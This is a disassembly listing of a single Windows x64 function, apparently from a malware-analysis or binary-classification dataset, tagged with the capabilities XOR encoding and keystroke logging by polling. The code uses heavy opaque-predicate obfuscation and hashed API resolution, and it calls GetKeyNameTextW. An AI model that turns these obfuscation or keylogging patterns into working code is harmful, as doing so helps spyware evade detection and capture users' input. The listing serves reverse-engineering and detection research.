Function at 0x140237560
Capabilities:
Encode data using xor
Log keystrokes via polling

Disassembly:
push rbp
push rsi
sub rsp, 0x638
lea rbp, [rsp + 0x80]
mov eax, 0x10
mov qword [rbp + 0x3c8], rax
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x378], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x380], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x388], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x390], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x398], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x3a0], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x3a8], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x3b0], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x3b8], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x3c0], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, qword [rbp + 0x3c8]
mov rcx, rsp
mov qword [rbp + 0x3d0], rcx
call fcn.14023fff0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x3d8], rax
sub rsp, 0x20
call fcn.14023d92e
add rsp, 0x20
add rax, 0x50
mov qword [rbp + 0x3e0], rax
sub rsp, 0x20
call fcn.14023d92e
add rsp, 0x20
mov qword [rbp + 0x3f8], rax
add rax, 0x50
mov qword [rbp + 0x3e8], rax
mov qword [rbp + 0x568], 0
lea rax, [rbp + 0x568]
add rax, 8
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x570], 0
movabs rcx, 0x8064de7517f0b676
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x400], rcx
cmp byte [rax + 0x50], 0
jne 0x14023d699
movabs rcx, 0x4b300f517b2507eb
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x370], rcx
mov al, byte [rax]
mov cl, 0x35
xor cl, 0x35
cmp al, cl
jne 0x14023d699
mov rax, qword [rbp + 0x400]
mov rcx, qword [rbp + 0x370]
cmp rax, rcx
jne 0x1402377aa
movabs rdx, 0x7df4444332276242
movabs rax, 0x7df444433227770e
xor rdx, rax
xor eax, eax
mov ecx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
add rsp, 0x20
movabs rcx, 0x8e73ecd7c812c3f7
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x368], rcx
cmp byte [rax], 0
jne 0x14023d699
movabs rcx, 0x40bdc1272999c3a8
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x360], rcx
cmp byte [rax], 0
jne 0x14023d699
mov eax, dword [0x140250368]
imul eax, dword [0x14025036c]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xdb7246c4
add eax, ecx
mov ecx, 0xcff7d9a2
xor ecx, 0xb5c195ed
add eax, ecx
sub eax, 0xfa7d887e
sub eax, 0x7a364c4f
mov ecx, 0xb90bf51d
xor ecx, 0x590e398
or eax, ecx
cmp eax, 0x61614746
je 0x14023d72b
mov rcx, qword [rbp + 0x368]
mov eax, dword [0x140250370]
mov r8d, dword [0x140250374]
xor r8d, 0x3d4b921c
mov edx, eax
and edx, r8d
mov r9d, 0x4a786129
xor r9d, 0x4a78612b
imul edx, r9d
xor eax, r8d
add eax, edx
mov r8d, 0xa3e50512
xor r8d, 0xcfaa8921
xor edx, edx
div r8d
mov rdx, qword [rbp + 0x360]
sub eax, 0x106afd4b
mov r8d, eax
and r8d, 0x3bb5c88f
xor r8d, 0xffffffff
mov r9d, 0x2f3e3bba
xor r9d, 0x148bf335
add eax, r9d
mov r9d, 0xd31111a
xor r9d, 0xd31111b
add eax, r9d
add eax, r8d
cmp rcx, rdx
sete cl
mov byte [rbp + 0x35f], cl
cmp eax, 0xa2257952
jb 0x14023d72b
mov al, byte [rbp + 0x35f]
test al, 1
jne 0x140237906
jmp 0x140237930
xor eax, eax
mov edx, eax
mov r8d, 0x581
mov r9d, 0x941
sub rsp, 0x30
mov rcx, rdx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add rsp, 0x30
mov eax, dword [0x140250378]
xor edx, edx
div dword [0x14025037c]
and eax, 0x3c2d9558
xor ecx, ecx
sub ecx, 0x366874b4
sub eax, ecx
mov ecx, eax
add ecx, 1
mov edx, 0x7049589f
xor edx, 0x8fb6a760
xor eax, edx
mov edx, 0xf10f9df9
xor edx, 0xc1729026
or eax, edx
add eax, ecx
mov ecx, 0x2334d0f7
xor ecx, 0x9b4e7a1d
cmp eax, ecx
ja 0x14023d734
mov eax, dword [0x140250380]
xor eax, 0xc7ea939f
and eax, dword [0x140250384]
mov ecx, 0xa69b1eb6
xor ecx, 0x4843787
add eax, ecx
mov ecx, 0x7fafe65
xor ecx, 0x30b9b410
sub eax, ecx
mov ecx, 0xa8d78be
xor ecx, 0x6817537f
add eax, ecx
add eax, 0x37434a75
or eax, 0x4a822896
mov dword [rbp + 0x34c], eax
movabs rcx, 0xff79a3e0911869e4
sub rsp, 0x20
call fcn.140237524
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov rdx, rax
mov eax, dword [rbp + 0x34c]
mov qword [rbp + 0x350], rdx
mov cl, byte [rcx]
mov dl, 0x16
xor dl, 0x16
cmp cl, dl
sete cl
mov byte [rbp + 0x35e], cl
cmp eax, 0x9b8460d2
jbe 0x140237981
mov al, byte [rbp + 0x35e]
test al, 1
jne 0x140237a27
jmp 0x14023d699
mov ecx, dword [0x140250388]
xor ecx, 0x75f010ea
xor ecx, dword [0x14025038c]
mov eax, 0x29fdbcc6
xor eax, 0xaddaa22b
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x1e4d0d9
mov edx, 0x48eae664
xor edx, 0x490e36bd
mov r8d, 0x8161012f
xor r8d, 0x7e9efed0
xor edx, r8d
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xcde78981
mov edx, 0xffffffff
xor edx, 0xcde78981
and eax, edx
shl eax, 1
sub eax, ecx
cmp eax, 0xe7dfb2f6
ja 0x14023d73d
mov ecx, dword [0x140250390]
mov edx, dword [0x140250394]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov ecx, 0x1188381a
xor ecx, 0x2f1e5f27
xor edx, edx
div ecx
sub eax, 0xc984ab55
or eax, 0x181d9e0c
mov dword [rbp + 0x33c], eax
mov eax, 0xd132eba2
xor eax, 0xe139a6f0
mov dword [rbp + 0x338], eax
movabs rcx, 0x458cb24b5348aa2c
movabs rax, 0x1bd9fe54d591ab90
xor rcx, rax
sub rsp, 0x20
call fcn.140237524
mov rdx, qword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x338]
add rsp, 0x20
mov r8, rax
mov eax, dword [rbp + 0x33c]
mov qword [rbp + 0x340], r8
cmp byte [rdx], 0
sete dl
mov byte [rbp + 0x34b], dl
cmp eax, ecx
je 0x140237a93
mov al, byte [rbp + 0x34b]
test al, 1
jne 0x140237b3e
jmp 0x14023d699
mov eax, dword [0x140250398]
xor edx, edx
div dword [0x14025039c]
mov ecx, 0x3651c37f
xor ecx, 0x676390e
xor edx, edx
div ecx
or eax, 0xe22f4012
xor eax, 0x808c473a
cmp eax, 0xb3521182
ja 0x14023d746
mov rcx, qword [rbp + 0x350]
mov eax, dword [0x1402503a0]
imul eax, dword [0x1402503a4]
mov r8d, 0x8b62310
xor edx, edx
div r8d
mov rdx, qword [rbp + 0x340]
mov r8d, 0x6b05ae9c
xor r8d, 0x15dd9a77
and eax, r8d
add eax, 0x6a048d97
add eax, 0xb0b557cb
sub eax, 0x6a048d97
cmp rcx, rdx
sete cl
mov byte [rbp + 0x337], cl
cmp eax, 0x1cd23947
jbe 0x14023d746
mov al, byte [rbp + 0x337]
test al, 1
jne 0x140237bdf
jmp 0x140237bfa
xor eax, eax
mov edx, eax
mov r8d, 0x21f
sub rsp, 0x20
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetLongPathNameA]
add rsp, 0x20
movabs rcx, 0xf464afa850cce921
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x328], rcx
cmp byte [rax], 0
jne 0x14023d699
movabs rcx, 0x7e12d338824a72e4
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x320], rcx
cmp byte [rax], 0
jne 0x14023d699
mov rax, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x320]
cmp rax, rcx
jne 0x140237c95
mov r8d, 0x4e68595f
xor r8d, 0x4e68445c
xor eax, eax
mov edx, eax
sub rsp, 0x20
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetLongPathNameA]
add rsp, 0x20
movabs rcx, 0xc08a52bd6beaec71
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x318], rcx
cmp byte [rax], 0
jne 0x14023d699
movabs rcx, 0x478791bbccbdf923
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x310], rcx
mov al, byte [rax]
mov cl, 0xb1
xor cl, 0xb1
cmp al, cl
jne 0x14023d699
mov rax, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x310]
cmp rax, rcx
jne 0x140237d22
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
add rsp, 0x20
movabs rcx, 0x796f17ec7d2d178
movabs rax, 0x26aa7ffff9c57b30
xor rcx, rax
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x308], rcx
cmp byte [rax], 0
jne 0x14023d699
movabs rcx, 0x58d9df8d0ca25d37
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x300], rcx
cmp byte [rax], 0
jne 0x14023d699
mov rax, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x300]
cmp rax, rcx
jne 0x140237db6
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetACP]
add rsp, 0x20
mov ecx, dword [0x1402503a8]
mov edx, dword [0x1402503ac]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov ecx, 0x726fc2b7
xor ecx, 0x8d903d48
mov edx, eax
xor edx, ecx
xor eax, 0xffffffff
and edx, eax
mov eax, 0xffffffff
xor eax, 0x48ecf8d9
mov ecx, 0xffffffff
xor ecx, 0x48ecf8d9
and eax, ecx
xor edx, 0xffffffff
xor eax, 0xffffffff
and edx, eax
mov ecx, edx
xor ecx, 0xdc864597
mov eax, 0xbe1d2e8a
xor eax, 0x629b6b1d
mov r8d, 0x971486ea
xor r8d, 0x68eb7915
xor eax, r8d
and edx, eax
mov eax, 0x8aea986b
xor eax, 0x8aea9869
imul eax, edx
sub eax, ecx
mov edx, 0xae24cea6
xor edx, 0x6fdf0941
mov ecx, eax
xor ecx, edx
mov edx, 0xff1c3ba3
xor edx, 0xe3c45c
xor ecx, edx
mov edx, 0xbdd64a16
xor edx, 0x7c2d8df1
or eax, edx
and eax, ecx
cmp eax, 0x262e8124
jbe 0x14023d74f
mov eax, dword [0x1402503b0]
xor edx, edx
div dword [0x1402503b4]
imul eax, eax, 0xb9d28fa1
mov ecx, 0xb520a2fc
xor ecx, 0xf21f1e75
imul eax, ecx
mov ecx, 0x4abba948
xor edx, edx
div ecx
mov dword [rbp + 0x2ec], eax
movabs rcx, 0x5d9466216bb0fa6
sub rsp, 0x20
call fcn.140237524
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov rdx, rax
mov eax, dword [rbp + 0x2ec]
mov qword [rbp + 0x2f0], rdx
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x2ff], cl
cmp eax, 0x25a14d24
jae 0x140237e66
mov al, byte [rbp + 0x2ff]
test al, 1
jne 0x140237eef
jmp 0x14023d699
movabs rcx, 0x40a502640ae7bead
movabs rax, 0xf183b2343ead341
xor rcx, rax
sub rsp, 0x20
call fcn.140237524
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x2e0], rcx
cmp byte [rax], 0
jne 0x14023d699
mov rax, qword [rbp + 0x2f0]
mov rcx, qword [rbp + 0x2e0]
cmp rax, rcx
jne 0x140238036
mov eax, dword [0x1402503b8]
add eax, dword [0x1402503bc]
or eax, 0xbc26f4e4
imul eax, eax, 0xacb06f7a
mov ecx, 0x4a7c9a62
xor ecx, 0xd3cc0719
xor edx, edx
div ecx
cmp eax, 0x5ed84aa2
je 0x14023d758
mov eax, dword [0x1402503c0]
xor edx, edx
div dword [0x1402503c4]
mov ecx, 0xbecf23d1
xor edx, edx
div ecx
mov ecx, 0xe4802b69
xor ecx, 0x29dc5932
xor eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xbd42320
xor edx, 0x6086d6b5
and edx, ecx
mov r8d, 0x6b8b6680
xor r8d, 0xd99315
mov ecx, 0xad8ac574
xor ecx, 0x52753a8b
xor r8d, ecx
mov ecx, eax
and ecx, r8d
imul ecx, edx
mov r8d, 0x3fd31f8d
xor r8d, 0x5481ea18
mov edx, eax
and edx, r8d
or eax, 0x6b52f595
imul eax, edx
add eax, ecx
mov dword [rbp + 0x2dc], eax
mov eax, 0x372d58c
xor eax, 0x68d4f59c
mov dword [rbp + 0x2d8], eax
mov ecx, 0x28a
xor eax, eax
mov edx, eax
mov r8d, 0x1d8a
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
mov ecx, dword [rbp + 0x2d8]
add rsp, 0x20
mov eax, dword [rbp + 0x2dc]
cmp eax, ecx
jbe 0x140237f75
jmp 0x140238036
sub rsp, 0x20
call fcn.140235348
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
mov ecx, 0xea8156a3
xor ecx, 0xea8156b7
sub rsp, 0x20
call fcn.1402373f0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x95
xor cl, 0x95
cmp al, cl
jne 0x14023d699
sub rsp, 0x20
call fcn.140064320
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.140064360
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
mov r11d, dword [0x1402503c8]
mov eax, dword [0x1402503cc]
xor eax, 0xc000acff
and r11d, eax
mov eax, 0x36154de6
xor eax, 0xc9eab219
mov ecx, r11d
xor ecx, eax
mov r8d, 0xffffffff
xor r8d, 0x6906421b
mov edx, 0xffffffff
xor edx, 0xd59ef9ea
mov eax, ecx
and eax, 0xd59ef9ea
and r11d, edx
mov r9d, r8d
and r9d, 0xd59ef9ea
mov r10d, edx
and r10d, 0x6906421b
or eax, r11d
or r9d, r10d
xor eax, r9d
or ecx, r8d
mov r8d, 0x419edde8
xor r8d, 0xbe612217
xor ecx, r8d
or edx, 0xd59ef9ea
and ecx, edx
or eax, ecx
mov ecx, 0xed7b627e
xor ecx, 0x5201443b
or eax, ecx
mov edx, 0xffffffff
xor edx, 0xe4e7e06f
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe4e7e06f
add eax, edx
sub eax, ecx
cmp eax, 0x61307477
jbe 0x14023d761
mov eax, dword [0x1402503d0]
mov ecx, dword [0x1402503d4]
sub eax, ecx
or eax, 0xa4f9da10
add eax, 0x7934102b
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4603135d
and ecx, 0x399ceca2
imul ecx, edx
mov edx, eax
and edx, 0x393ceca2
or eax, 0x39bceca2
imul eax, edx
add eax, ecx
mov dword [rbp + 0x2d0], eax
sub rsp, 0x20
call fcn.140234a90
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov dl, al
mov eax, dword [rbp + 0x2d0]
mov cl, byte [rcx]
test cl, cl
sete cl
mov byte [rbp + 0x2d6], cl
and cl, dl
mov byte [rbp + 0x2d7], cl
cmp eax, 0xd39bf082
ja 0x14023816e
mov al, byte [rbp + 0x2d7]
test al, 1
jne 0x140238202
jmp 0x140238230
mov rcx, qword [rbp + 0x388]
mov rax, qword [rbp + 0x568]
mov qword [rcx], rax
mov rax, qword [rbp + 0x570]
mov qword [rcx + 8], rax
sub rsp, 0x20
call fcn.140018e27
add rsp, 0x20
jmp 0x14023d6c9
mov al, byte [rbp + 0x2d6]
test al, 1
jne 0x140238243
jmp 0x14023d699
sub rsp, 0x20
call fcn.1400a55c0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x10
xor cl, 0x10
cmp al, cl
jne 0x14023d699
mov ecx, dword [0x1402503d8]
and ecx, dword [0x1402503dc]
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x40d78ea5
mov r8d, 0xffffffff
xor r8d, 0x40d78ea5
mov eax, ecx
and eax, r8d
imul eax, edx
mov edx, ecx
and edx, 0x40d78ea5
or ecx, 0x40d78ea5
imul ecx, edx
add ecx, eax
mov edx, 0xfe53397
xor edx, 0xf01acc68
mov eax, ecx
xor eax, edx
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x8965c521
mov r8d, 0xffffffff
xor r8d, 0x8965c521
and edx, r8d
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8965c521
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xbc67512d
xor edx, edx
div ecx
cmp eax, 0x8dc4a465
je 0x14023d76a
mov eax, dword [0x1402503e0]
mov ecx, dword [0x1402503e4]
mov edx, 0x7ce7af4
xor edx, 0xc0095f35
xor ecx, edx
xor eax, ecx
sub eax, 0xa1870c11
or eax, 0x69f2b9ac
or eax, 0x3490157b
mov dword [rbp + 0x2c8], eax
sub rsp, 0x20
call fcn.1400b4540
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x2c8]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x2cf], cl
cmp eax, 0xdb641f42
je 0x14023d76a
mov al, byte [rbp + 0x2cf]
test al, 1
jne 0x14023837b
jmp 0x14023d699
sub rsp, 0x20
call fcn.1400b45aa
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0xa3
xor cl, 0xa3
cmp al, cl
jne 0x14023d699
lea rcx, [rbp + 0x550]
sub rsp, 0x20
call fcn.1400b47f0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x4c0], rax
mov rax, qword [rbp + 0x558]
mov qword [rbp + 0x4c8], rax
mov eax, dword [rbp + 0x560]
mov dword [rbp + 0x4d0], eax
lea rcx, [rbp + 0x4c0]
sub rsp, 0x20
call fcn.1400acf40
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x7b
xor cl, 0x7b
cmp al, cl
jne 0x14023d699
sub rsp, 0x20
call fcn.1400ae564
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0xd9
xor cl, 0xd9
cmp al, cl
jne 0x14023d699
lea rcx, [rbp + 0x4b0]
mov edx, 0x10
sub rsp, 0x20
call fcn.14023d93c
mov rcx, qword [rbp + 0x390]
add rsp, 0x20
mov word [rcx], 0xb02
sub rsp, 0x20
call fcn.140064b20
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x2b8], rcx
mov cl, byte [rax]
mov dl, 0xac
xor dl, 0xac
mov al, 1
cmp cl, dl
mov byte [rbp + 0x2c7], al
jne 0x140238676
mov rax, qword [rbp + 0x2b8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
movabs r8, 0x18343cfa9ef9137
movabs rax, 0x18343cfa9ef9137
xor r8, rax
add rdx, 8
lea rax, [0x14025a55e]
cmp rcx, r8
cmove rdx, rax
lea rcx, [rbp + 0x4b0]
sub rsp, 0x20
call fcn.140007b66
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, 1
cmp byte [rcx], 0
mov byte [rbp + 0x2c7], al
jne 0x140238676
mov rcx, qword [rbp + 0x4b8]
xor edx, edx
sub rsp, 0x20
call fcn.1400ae2c7
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x20
mov qword [rbp + 0x2b0], rax
mov al, 1
cmp byte [rcx], 0
mov byte [rbp + 0x2c7], al
jne 0x140238676
mov rcx, qword [rbp + 0x398]
mov edx, 0x10
sub rsp, 0x20
call fcn.14023d93c
mov rax, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x2b0]
mov r8, qword [rbp + 0x3a0]
add rsp, 0x20
lea rdx, [fcn.140069320]
mov qword [rax], rdx
mov qword [rax + 8], 0
mov rdx, qword [rax]
mov qword [r8], rdx
mov rax, qword [rax + 8]
mov qword [r8 + 8], rax
mov edx, 0x8e387f2d
xor eax, eax
mov r9d, eax
xor eax, eax
sub rsp, 0x30
mov dword [rsp + 0x20], 0
call fcn.1400ad2f4
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x30
mov qword [rbp + 0x2a8], rax
mov al, 1
cmp byte [rcx], 0
mov byte [rbp + 0x2c7], al
jne 0x140238676
lea rcx, [rbp + 0x4a0]
mov edx, 0x10
sub rsp, 0x20
call fcn.14023d93c
mov rcx, qword [rbp + 0x2b0]
mov r8, qword [rbp + 0x3a8]
add rsp, 0x20
lea rax, [fcn.140069320]
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4a8], 0
mov rax, qword [rbp + 0x4a0]
mov qword [r8], rax
mov rax, qword [rbp + 0x4a8]
mov qword [r8 + 8], rax
mov edx, 0x2e95ffa8
xor eax, eax
mov r9d, eax
xor eax, eax
sub rsp, 0x30
mov dword [rsp + 0x20], 0
call fcn.1400ad2f4
mov rcx, qword [rbp + 0x3e8]
add rsp, 0x30
mov qword [rbp + 0x2a0], rax
mov al, 1
cmp byte [rcx], 0
mov byte [rbp + 0x2c7], al
jne 0x140238676
mov rdx, qword [rbp + 0x2a0]
mov rcx, qword [rbp + 0x2a8]
sub rsp, 0x20
call fcn.1400a59a0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov byte [rbp + 0x2c7], al
mov rax, qword [rbp + 0x3e8]
mov rcx, qword [rbp + 0x3b0]
mov dl, byte [rbp + 0x2c7]
mov byte [rbp + 0x29f], dl
mov byte [rax], 0
mov rax, qword [rbp + 0x4b0]
mov qword [rcx], rax
mov rax, qword [rbp + 0x4b8]
mov qword [rcx + 8], rax
sub rsp, 0x20
call fcn.140007cc3
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x1402386dc
mov al, byte [rbp + 0x29f]
mov rcx, qword [rbp + 0x3e8]
mov byte [rcx], al
cmp al, 0
je 0x1402386e1
jmp 0x14023d699
sub rsp, 0x20
call fcn.1400b4f50
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x28
xor cl, 0x28
cmp al, cl
jne 0x14023d699
sub rsp, 0x20
call fcn.1400aec10
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.14023d92e
add rsp, 0x20
mov qword [rbp + 0x290], rax
sub rsp, 0x20
lea rcx, [rbp + 0x578]
mov qword [rbp + 0x288], rcx
mov edx, 0x40
call fcn.14023d93c
mov rcx, qword [rbp + 0x288]
add rsp, 0x20
mov dword [rbp + 0x578], 0x40
sub rsp, 0x20
call fcn.1400b2060
mov rcx, qword [rbp + 0x290]
add rsp, 0x20
mov rax, qword [rbp + 0x3e8]
mov cl, byte [rcx + 0x50]
test cl, cl
sete cl
cvtsi2sd xmm0, qword [rbp + 0x580]
movsd xmm1, qword [0x14025a520]
mulsd xmm0, xmm1
movsd xmm1, qword [0x14025a528]
ucomisd xmm0, xmm1
setae dl
and cl, dl
mov al, byte [rax]
test al, al
setne al
mov byte [rbp + 0x29e], al
or al, cl
test al, 1
jne 0x140238892
mov eax, dword [0x1402503e8]
mov ecx, 0xd9d5c81c
xor ecx, 0x7b38e252
xor eax, ecx
imul eax, dword [0x1402503ec]
mov ecx, 0xb1be615c
xor ecx, 0xf7bd99a4
xor edx, edx
div ecx
xor eax, 0x1a0c4290
mov ecx, 0xe38a7c47
xor ecx, 0xc0811794
imul eax, ecx
cmp eax, 0xb316ec81
ja 0x14023d773
mov ecx, dword [0x1402503f0]
mov r8d, dword [str.fkp_]
mov edx, r8d
xor edx, 0xffffffff
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, r8d
add ecx, edx
sub ecx, eax
mov eax, ecx
and eax, 0xff7f9acb
xor ecx, 0xff7f9acb
or eax, ecx
and eax, 0x75a1e278
add eax, 0x335ba53
mov dword [rbp + 0x284], eax
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x490], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x498], rax
lea rcx, [rbp + 0x490]
sub rsp, 0x20
call fcn.140018e27
mov eax, dword [rbp + 0x284]
add rsp, 0x20
cmp eax, 0x2a906ad1
jbe 0x14023d773
jmp 0x14023d6c9
mov al, byte [rbp + 0x29e]
test al, 1
jne 0x14023d699
jmp 0x1402388a5
sub rsp, 0x20
call fcn.1400b7ae0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x19
xor cl, 0x19
cmp al, cl
jne 0x14023d699
mov eax, dword [0x1402503f8]
mov ecx, 0xfc23c405
xor ecx, 0x550ac7fc
xor eax, ecx
xor eax, dword [0x1402503fc]
sub eax, 0x26bca1fd
mov edx, 0x391439c0
xor edx, 0xc6ebc63f
mov ecx, eax
xor ecx, edx
mov edx, 0x4f094595
xor edx, 0xdfc439be
and edx, ecx
mov r8d, 0xffffffff
xor r8d, 0x90cd7c2b
mov ecx, eax
and ecx, r8d
imul ecx, edx
mov edx, eax
and edx, 0x90cd7c2b
or eax, 0x90cd7c2b
imul eax, edx
add eax, ecx
mov ecx, 0xcf0457d3
xor ecx, 0x4fb54179
xor edx, edx
div ecx
mov ecx, 0x37b59aaa
xor ecx, 0xf4302ade
cmp eax, ecx
je 0x14023d77c
mov eax, dword [0x140250400]
mov edx, dword [0x140250404]
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov r9d, 0x2645db71
xor r9d, 0xd9ba248e
mov r8d, edx
xor r8d, r9d
mov r9d, edx
xor r9d, 0xffffffff
and r8d, r9d
xor ecx, 0xffffffff
xor r8d, 0xffffffff
and ecx, r8d
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0xc0db3ef8
xor eax, 0xe8a7182d
or ecx, eax
mov eax, 0x7e125692
xor eax, 0x3b63460e
xor ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov eax, 0x17e4561c
xor eax, 0x71c1367a
and eax, edx
mov edx, 0xffffffff
xor edx, 0x66256066
and ecx, edx
or eax, ecx
mov dword [rbp + 0x27c], eax
sub rsp, 0x20
call fcn.1400b7460
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x27c]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x283], cl
cmp eax, 0x3f94adfe
je 0x14023894b
mov al, byte [rbp + 0x283]
test al, 1
jne 0x140238a14
jmp 0x14023d699
sub rsp, 0x20
call fcn.1400a99b0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.1400b2b20
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
mov eax, dword [0x140250408]
mov r8d, dword [0x14025040c]
mov ecx, 0x50e96faa
xor ecx, 0xaf169055
mov r9d, r8d
xor r9d, ecx
mov edx, eax
and edx, r9d
mov ecx, eax
or ecx, r9d
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
and eax, 0x9cdb0348
mov ecx, 0xffffffff
xor ecx, 0x80d181f4
mov edx, 0x9f6d94d0
xor edx, 0x9f6d94d0
